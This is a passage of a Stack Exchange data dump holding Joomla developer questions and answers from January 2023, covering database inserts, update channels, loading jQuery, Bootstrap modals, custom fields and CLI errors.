$db = JFactory::getDbo();&#xA;&#xA;    // Create a new query object.&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;    // Insert columns.&#xA;    $columns = array('listingid', 'user', 'created_by', 'created');&#xA;&#xA;    // Insert values.&#xA;    $values = array($id, $userId, $userId, $date);&#xA;&#xA;    // Prepare the insert query.&#xA;    $query&#xA;        -&amp;gt;insert($db-&amp;gt;quoteName('#__table'))&#xA;        -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;        -&amp;gt;values(implode(',', $values));&#xA;&#xA;    // Set the query using our newly populated query object and execute it.&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I first tried without using Joomla functions with result error 1064.&lt;/p&gt;&#xA;&lt;p&gt;Then tried after some SO &amp;amp; J! forum searching try 2 and result error 1064.&lt;/p&gt;&#xA;&lt;p&gt;Some more searching brought me by try 3 and this resulted into &lt;code&gt;Call to a member function toSql() on string&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When I remove the date from the insert columns and insert values lines then it goes through without any issues. Record is created but I need the &lt;code&gt;created&lt;/code&gt; column also be filled.&lt;/p&gt;&#xA;&lt;p&gt;The full output for 1064 is &lt;code&gt;1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '22:55:38)' at line 3&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3920" LastEditorUserId="3920" LastEditDate="2023-01-10T21:56:16.727" LastActivityDate="2023-01-11T03:32:23.550" Title="Insert datetime type into created column from PHP file from module/component" Tags="|php|mysql|datetime|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32698" PostTypeId="2" ParentId="32697" CreationDate="2023-01-10T22:02:13.187" Score="1" Body="&lt;p&gt;I forgot that it needed to have &lt;code&gt;'&lt;/code&gt; around the string. So I solved it by using&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $date = date(&amp;quot;Y-m-d h:i:s&amp;quot;);&#xA;    $date = &amp;quot;'&amp;quot; . $date . &amp;quot;'&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Just remove everything from try 1, 2, 3 and replace with the above and it should work.&lt;/p&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2023-01-10T22:02:13.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32699" PostTypeId="2" ParentId="32697" CreationDate="2023-01-11T03:32:23.550" Score="2" Body="&lt;p&gt;You can improve a bit your code and abrace the best practice of J4&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\Database\DatabaseAwareTrait;&#xA;use Joomla\Database\ParameterType;&#xA;&#xA;class YOUR_CLASS &#xA;{&#xA;   function createRecordInLSFCDBTable($id, $userId) &#xA;   {&#xA;      $db    = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;      $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;      // Get the current date&#xA;      $date = Factory::getDate()-&amp;gt;toSql();&#xA;&#xA;      $columns = ['listingid', 'created_by', 'created'];&#xA;      $values  = [':rowid', ':createdby', ':created']&#xA;      &#xA;      // Insert the new records into the table&#xA;      $query-&amp;gt;insert($db-&amp;gt;quoteName('#__table'))&#xA;         -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;         -&amp;gt;values(implode(', ', $values))&#xA;         -&amp;gt;bind(':rowid', $id, ParameterType::INTEGER)&#xA;         -&amp;gt;bind(':createdby', $userId, ParameterType::STRING)&#xA;         -&amp;gt;bind(':createddate', $date , ParameterType::INTEGER);&#xA;         &#xA;         $db-&amp;gt;setQuery($query);&#xA;         $db-&amp;gt;execute();&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2023-01-11T03:32:23.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32700" PostTypeId="1" CreationDate="2023-01-11T08:22:40.313" Score="1" ViewCount="63" Body="&lt;p&gt;I have an HTML website placed in a sub folder of my Joomla website. Is there any way to display a Joomla module in that HTML website?&lt;/p&gt;&#xA;" OwnerUserId="12583" LastEditorUserId="12352" LastEditDate="2023-01-11T22:45:16.297" LastActivityDate="2023-01-11T22:45:16.297" Title="IDEA - display a module in another website" Tags="|module|html|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="32702" PostTypeId="1" CreationDate="2023-01-12T06:10:34.290" Score="1" ViewCount="305" Body="&lt;p&gt;On the Page&#xA;&lt;a href=&quot;https://www.dionysopoulos.me/book/com-tables.html#com-tables-get-object&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dionysopoulos.me/book/com-tables.html#com-tables-get-object&lt;/a&gt; I read:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The table MUST have the following columns:&#xA;&lt;code&gt;parent_id&lt;/code&gt;. The primary key of the parent node. Provides adjacency list data for nodes.&#xA;level. The depth level of the node in the tree.&#xA;&lt;code&gt;lft&lt;/code&gt;. The left value of the node for managing its placement in the nested sets tree.&#xA;&lt;code&gt;rgt&lt;/code&gt;. The right value of the node for managing its placement in the nested sets tree.&#xA;alias. The alias of this node used to construct the full text path, forward-slash delimited.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is that really true?&lt;/p&gt;&#xA;&lt;p&gt;There are many tables in Joomla itself that do not contain the &lt;code&gt;rgb&lt;/code&gt; and &lt;code&gt;lft&lt;/code&gt; columns. For example, those of com_content:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.2-dev/administrator/components/com_contact/sql/install.mysql.utf8.sql&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/4.2-dev/administrator/components/com_contact/sql/install.mysql.utf8.sql&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16197" LastActivityDate="2023-01-12T06:10:34.290" Title="Tables and needed columns in Joomla 4" Tags="|joomla-4.x|database|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32704" PostTypeId="1" CreationDate="2023-01-12T23:04:19.313" Score="0" ViewCount="556" Body="&lt;p&gt;Site is on Joomla 3.10.11 and Update Channel is on Joomla Next but I get the messages that there is no update available and the site is on the newest version. What is wrong?&lt;/p&gt;&#xA;" OwnerUserId="16838" LastActivityDate="2023-09-02T04:02:25.873" Title="pre-update check not available" Tags="|update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32705" PostTypeId="2" ParentId="32704" CreationDate="2023-01-13T00:05:28.190" Score="0" Body="&lt;p&gt;In the admin pages go to the Extension Manager and the Update Sites option and check that the Joomla core entries are both Published.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8SYeQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8SYeQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then click on the Rebuild button.&lt;/p&gt;&#xA;&lt;p&gt;Next select the Manage menu item and press the Refresh Cache button.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vQpKa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vQpKa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then check for the Joomla update again.&lt;/p&gt;&#xA;&lt;p&gt;There is a couple of previous answers from a few years back that provide a additional list of steps to follow if it is still not working for you.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-01-13T00:05:28.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32706" PostTypeId="2" ParentId="32704" CreationDate="2023-01-13T00:56:49.977" Score="1" Body="&lt;p&gt;welcome!&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;strong&gt;Components → Joomla Update&lt;/strong&gt;. (It should say no updates&#xA;found. If it doesn’t, update Joomla to the latest version (must be&#xA;3.10.x) Click on the Options button at the top right corner.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select Joomla Next from the drop-down for Update Channel.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6JGOZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6JGOZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Click Save &amp;amp; Close. You will then see the latest Joomla! version and the URL for the update package. Also, Joomla will show you the requirements for Joomla 4.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Is important you kown this is a migration and not a normal update. I strongly advice follow this guide for you can do the task successful (at least with the less problems you can get)&lt;/strong&gt; &lt;a href=&quot;https://docs.joomla.org/Joomla_3.x_to_4.x_Step_by_Step_Migration&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Joomla_3.x_to_4.x_Step_by_Step_Migration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2023-01-13T00:56:49.977" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32708" PostTypeId="1" CreationDate="2023-01-14T16:42:25.670" Score="0" ViewCount="59" Body="&lt;p&gt;I'd like to create a Joomla module, but it requires jquery to operate, the problem is whether Jquery is activated (imported) before is still unknown, import jquery through &lt;code&gt;&amp;lt;script src&amp;gt;&lt;/code&gt; may cause conflict with an existing jquery especially if it has a different version, I would like to do something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;if(jquery not exist before)&#xA;    {&#xA;    import and activate jquery&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the question is how to do that ?&lt;/p&gt;&#xA;" OwnerUserId="14531" LastActivityDate="2023-01-21T18:49:40.503" Title="Activate jquery with javascript" Tags="|module|joomla-4.x|jquery|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32709" PostTypeId="1" AcceptedAnswerId="32728" CreationDate="2023-01-14T17:18:44.317" Score="0" ViewCount="60" Body="&lt;p&gt;I read the tutorial about how to create a Joomla template from &lt;a href=&quot;https://docs.joomla.org/Creating_a_basic_Joomla!_template&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_basic_Joomla!_template&lt;/a&gt; , but when I scrutiny the Standard template bundled within Joomla 4.x (Cassiopeia), I saw a different way to create a Joomla template, It looks like an advanced way, can anyone give me a link to where I can learn something like this? a free tutorial is prioritized, thanks&lt;/p&gt;&#xA;" OwnerUserId="14531" LastActivityDate="2023-01-22T23:52:42.777" Title="Tutorial for creating joomla template" Tags="|templates|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32710" PostTypeId="2" ParentId="32708" CreationDate="2023-01-15T12:15:54.177" Score="2" Body="&lt;p&gt;Let &lt;strong&gt;Joomla&lt;/strong&gt; handle it.&#xA;In the main module you can add, for &lt;strong&gt;Joomla &amp;lt;= 3.9&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or for &lt;code&gt;Joomla 3.10&lt;/code&gt; and &lt;code&gt;4+&lt;/code&gt;, add this at the very start of the file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;HTMLHelper::_('jquery.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;the last line can be further down or inside a function if you want to include it conditionally.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2023-01-15T12:15:54.177" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32711" PostTypeId="2" ParentId="24791" CreationDate="2023-01-15T12:17:51.927" Score="1" Body="&lt;p&gt;If you are using Komento with Joomla, here is a code for counting the number of published comments related to an article:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Context&#xA;$currentArticleId = $this-&amp;gt;item-&amp;gt;id;&#xA;$db = JFactory::getDbo();&#xA;&#xA;// Build the query&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('COUNT(*)');&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__komento_comments'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('cid') . ' = ' . $currentArticleId);&#xA;$query-&amp;gt;andWhere($db-&amp;gt;quoteName('published') . ' = 1');&#xA;&#xA;// Get the result&#xA;$db-&amp;gt;setQuery($query);&#xA;$comment_count = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16844" LastEditorUserId="16844" LastEditDate="2023-01-17T21:41:33.653" LastActivityDate="2023-01-17T21:41:33.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32712" PostTypeId="1" CreationDate="2023-01-15T19:47:59.527" Score="3" ViewCount="114" Body="&lt;p&gt;I'm trying to upgrade my site to Joomla 4.&#xA;In Joomla 3 I used &amp;quot;JHTML::_('behavior.modal');&amp;quot; to display a link to an image inside a lightbox. As also explained in this question: &lt;a href=&quot;https://joomla.stackexchange.com/questions/10032/joomla-api-for-lightbox&quot;&gt;Joomla API for lightbox?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since this method is removed in Joomla 4, this no longer works. In the API docs I have found it is suggested to use bootstrap modal, but that does not work for link to images.&lt;/p&gt;&#xA;" OwnerUserId="16845" LastEditorUserId="12524" LastEditDate="2023-01-17T19:05:31.067" LastActivityDate="2023-01-17T19:05:31.067" Title="Joomla 4 API for lightbox" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32713" PostTypeId="2" ParentId="32712" CreationDate="2023-01-16T13:24:28.043" Score="2" Body="&lt;p&gt;You can use it as follow:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Layout\LayoutHelper;&#xA;&#xA;HTMLHelper::_('bootstrap.modal');&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$modalData = [&#xA;        'selector' =&amp;gt; 'uniqueIDName',&#xA;        'params'   =&amp;gt; [&#xA;            'title'  =&amp;gt; 'yourTitle',&#xA;            'footer' =&amp;gt;  htmlMarkup&#xA;        ],&#xA;        'body' =&amp;gt; htmlMarkup&#xA;    ];&#xA;?&amp;gt;&#xA;&amp;lt;?php echo LayoutHelper::render('libraries.html.bootstrap.modal.main', $modalData); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;All the variables you can use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Layout variables&#xA; * -----------------&#xA; * @var   string  $selector  Unique DOM identifier for the modal. CSS id without #&#xA; * @var   array   $params    Modal parameters. Default supported parameters:&#xA; *                             - title        string   The modal title&#xA; *                             - backdrop     mixed    A boolean select if a modal-backdrop element should be included (default = true)&#xA; *                                                     The string 'static' includes a backdrop which doesn't close the modal on click.&#xA; *                             - keyboard     boolean  Closes the modal when escape key is pressed (default = true)&#xA; *                             - closeButton  boolean  Display modal close button (default = true)&#xA; *                             - animation    boolean  Fade in from the top of the page (default = true)&#xA; *                             - url          string   URL of a resource to be inserted as an &amp;lt;iframe&amp;gt; inside the modal body&#xA; *                             - height       string   height of the &amp;lt;iframe&amp;gt; containing the remote resource&#xA; *                             - width        string   width of the &amp;lt;iframe&amp;gt; containing the remote resource&#xA; *                             - bodyHeight   int      Optional height of the modal body in viewport units (vh)&#xA; *                             - modalWidth   int      Optional width of the modal in viewport units (vh)&#xA; *                             - footer       string   Optional markup for the modal footer&#xA; * @var   string  $body      Markup for the modal body. Appended after the &amp;lt;iframe&amp;gt; if the URL option is set&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8256" LastActivityDate="2023-01-16T13:24:28.043" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32714" PostTypeId="1" CreationDate="2023-01-16T13:24:56.017" Score="1" ViewCount="30" Body="&lt;p&gt;I am trying to access custom field values on an override page on my Joomla 4 site.&lt;/p&gt;&#xA;&lt;p&gt;I trying to use the FieldsHelper class to access and show the data with this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo FieldsHelper::render('com_content.article', 'field.render', array('field' =&amp;gt; $this-&amp;gt;item-&amp;gt;jcfields[19])); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I only want to get the values from two specific fields and declare them as variables, but for some reason I can't get the value only.&lt;/p&gt;&#xA;" OwnerUserId="16847" LastEditorUserId="12352" LastEditDate="2023-01-16T23:06:22.100" LastActivityDate="2023-01-18T17:58:59.370" Title="How to get the value of a custom field and make it a variable?" Tags="|custom-field|" AnswerCount="0" CommentCount="1" ClosedDate="2023-01-18T19:45:44.640" ContentLicense="CC BY-SA 4.0" />
  <row Id="32716" PostTypeId="2" ParentId="32101" CreationDate="2023-01-16T17:32:15.227" Score="0" Body="&lt;p&gt;I have a component that is using custom fields that are attached to the com_users component. The code I use is below.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;user = Factory::getUser();&#xA;$this-&amp;gt;userFields = FieldsHelper::getFields('com_users.user', $this-&amp;gt;user);&#xA;$this-&amp;gt;fields = array();&#xA;foreach($this-&amp;gt;userFields as $k =&amp;gt; $field){&#xA;    $f = new stdClass();&#xA;    $f-&amp;gt;title = $field-&amp;gt;title;&#xA;    $f-&amp;gt;value = $field-&amp;gt;value;&#xA;    $this-&amp;gt;fields[$field-&amp;gt;group_title][] = $f;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After getting everything into the &lt;code&gt;$this-&amp;gt;fields&lt;/code&gt; array, I then just call the results where I need them. In my case, I am displaying the values as a part of a tab set.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach($this-&amp;gt;fields['YOUR_FIELD_GROUP_NAME'] as $fieldInfo){?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;fieldLabel&amp;quot;&amp;gt;&amp;lt;?php echo $fieldInfo-&amp;gt;title;?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;fieldValue&amp;quot;&amp;gt;&amp;lt;?php echo $fieldInfo-&amp;gt;value;?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php }?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="12352" LastEditDate="2023-01-16T23:08:15.873" LastActivityDate="2023-01-16T23:08:15.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32717" PostTypeId="1" CreationDate="2023-01-17T06:08:29.670" Score="0" ViewCount="29" Body="&lt;p&gt;I'm wondering how to find errors when a table class is used, inheriting from \Joomla\CMS\Table and using the store method?&lt;/p&gt;&#xA;&lt;p&gt;It appears that in Table, the store method traps errors in a try-catch structure. It seems to use its own deprecated setError method and returns false.&lt;/p&gt;&#xA;&lt;p&gt;In the calling code, how is it possible to find out what error has occurred without using the deprecated getError method?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastEditorUserId="9471" LastEditDate="2023-09-11T13:38:49.407" LastActivityDate="2023-09-11T13:38:49.407" Title="How to know about errors when using Table class store method without using getError" Tags="|database|jtable|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32721" PostTypeId="1" CreationDate="2023-01-19T09:14:58.733" Score="0" ViewCount="323" Body="&lt;p&gt;I am converting some Joomla 3 CLI applications to use the Joomla Console and this message is causing my new CLI's to fail. There are various entries in Joomla tracker relating to similar issues where core functions are not handling being in the Cli Application correctly but I haven't found anything looks like a permanent fix.&lt;/p&gt;&#xA;&lt;p&gt;In this case I am using old style call to get a model where I am not in position to use a newer method to access my model until a related component is upgraded to J4 where the problem may no longer exist.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;BaseDatabaseModel::getInstance('Inventory', 'InventoryModel')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which is then invoking the plugins which is where the actual call to the template function is coming from &lt;code&gt;\libraries\src\Plugin\PluginHelper.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$templateObj   = Factory::getApplication()-&amp;gt;getTemplate(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have a work around that involves modifying the core code of &lt;code&gt;\libraries\src\Application\ConsoleApplication.php&lt;/code&gt; and adding a simple function to handle the call to the method that does not exist.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getTemplate() { return false; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is not something I want to have to do and remember to do each time I do an update.&lt;/p&gt;&#xA;&lt;p&gt;In the earlier Joomla 3 version of my CLI's the above line of code was added to the bottom of the class to handle the same/similar issue, effectively this is what I am doing in the ConsoleApplication class.&lt;/p&gt;&#xA;&lt;p&gt;My question is can anyone provide a solution or direct me to a solution that doesn't involve modifying the core code?&lt;/p&gt;&#xA;&lt;p&gt;There are issues open on Joomla's Issue Tracker that refer to this issue like &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/39550&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/39550&lt;/a&gt;, &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/38222&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/38222&lt;/a&gt; and &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/38585&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/38585&lt;/a&gt; in the pluginHelper and the fileLayout classes so i am hoping any improved work around is not going to be required for too long.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-01-19T09:50:54.180" LastActivityDate="2024-01-21T19:08:05.963" Title="Call to undefined method Joomla\CMS\Application\ConsoleApplication::getTemplate()" Tags="|joomla-4.x|cli|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32723" PostTypeId="2" ParentId="32708" CreationDate="2023-01-21T16:35:39.270" Score="0" Body="&lt;p&gt;I tried this, and this work but only if the jquery codes are separated as an External JS, this is my HTML file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&#xA;&amp;lt;!--script src=&amp;quot;https://code.jquery.com/jquery-3.6.1.min.js&amp;quot;&amp;gt;&amp;lt;/script--&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;if(window.jQuery)&#xA;{&#xA;    alert(&amp;quot;jQuery is Active&amp;quot;);&#xA;}&#xA;else&#xA;{&#xA;    alert(&amp;quot;jQuery not activated before, activate now&amp;quot;);&#xA;    var script = document.createElement('script');&#xA;    script.src = 'https://code.jquery.com/jquery-3.6.1.min.js';&#xA;    document.getElementsByTagName('head')[0].appendChild(script);  &#xA;    &#xA;    var script1 = document.createElement('script');&#xA;    script1.src = 'testJS.js';&#xA;    document.getElementsByTagName('head')[0].appendChild(script1);  &#xA;}&#xA;&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and here is my JS file&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;  alert(&amp;quot;jQuery test success&amp;quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but my problem is the jQuery codes are not always in the external JS file, sometimes the jQuery codes are written within the HTML file itself, this is my way to use jQuery without using external JS:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;if(window.jQuery)&#xA;{&#xA;    alert(&amp;quot;jQuery is Active&amp;quot;);&#xA;}&#xA;else&#xA;{&#xA;    alert(&amp;quot;jQuery not activated before, activate now&amp;quot;);&#xA;    var script = document.createElement('script');&#xA;    script.src = 'https://code.jquery.com/jquery-3.6.1.min.js';&#xA;    script.onreadystatechange = handler;&#xA;    script.onload = handler;&#xA;    document.getElementsByTagName('head')[0].appendChild(script);     &#xA;}&#xA;&#xA;function handler(){&#xA;       console.log('jquery added :)');&#xA;       $('p').css('background-color','green');&#xA;       alert('handler called');&#xA;    }    &#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;p id=&amp;quot;test&amp;quot;&amp;gt;my ID test&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;My TagName test&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now another problem arises, the codes above work as long as jQuery codes are written inside the &lt;code&gt;handler()&lt;/code&gt; function, but don't work if it is written outside the &lt;code&gt;handler()&lt;/code&gt; function, so jQuery here doesn't behave like it usually does, as I know the &lt;code&gt;$(document).ready(function(){})&lt;/code&gt; can be written everywhere and can be split into several parts in different places, how to normalize jQuery behavior here?&lt;/p&gt;&#xA;" OwnerUserId="14531" LastEditorUserId="14531" LastEditDate="2023-01-21T18:49:40.503" LastActivityDate="2023-01-21T18:49:40.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32724" PostTypeId="1" CreationDate="2023-01-21T21:47:44.397" Score="0" ViewCount="233" Body="&lt;p&gt;I have seen the earlier question on this subject and tried &lt;a href=&quot;https://joomla.stackexchange.com/a/32404/12352&quot;&gt;the suggested code&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = (new Joomla\Database\DatabaseFactory)-&amp;gt;getDriver('mysqli', $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but get an error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An error has occurred with a eval'd field - please inform the web-site&#xA;owner.    Debug: Caught exception on eval of &lt;em&gt;ElementName&lt;/em&gt;: Database&#xA;is not available in constructor in 5.0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I also tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = DatabaseFactory::getDriver('mysqli', $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which gave the error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Non-static method Joomla\Database\DatabaseFactory::getDriver() cannot&#xA;be called statically&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How should this be done?&lt;/p&gt;&#xA;" OwnerUserId="16855" LastEditorUserId="12352" LastEditDate="2023-01-23T01:27:54.293" LastActivityDate="2023-01-23T01:27:54.293" Title="Connecting to an external database in Joomla 4 - further problem" Tags="|mysql|joomla-4.x|database|jdatabase|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32725" PostTypeId="1" CreationDate="2023-01-22T08:21:55.513" Score="0" ViewCount="142" Body="&lt;p&gt;I've spent the past few days trying different variations of if statements to get this working but it's now driving me nuts.&lt;/p&gt;&#xA;&lt;p&gt;What I'd like to do is show a series of divs on the first page of a custom component but not on any other pages 2, 3, etc.&lt;/p&gt;&#xA;&lt;p&gt;I'm using Joomla 4 with the custom component.&lt;/p&gt;&#xA;&lt;p&gt;This is my current code which is producing errors.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;app-&amp;gt;getInput()-&amp;gt;getInt('start') &amp;lt; 1) : ?&amp;gt;&#xA;    Hello World&#xA;&amp;lt;?php : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;edit&lt;/em&gt; &lt;strong&gt;More information&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For instance, the following code is to display items from the database in the component.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;everistBlock featured&amp;quot;&amp;gt;&#xA;            &amp;lt;?php $i = 0; foreach 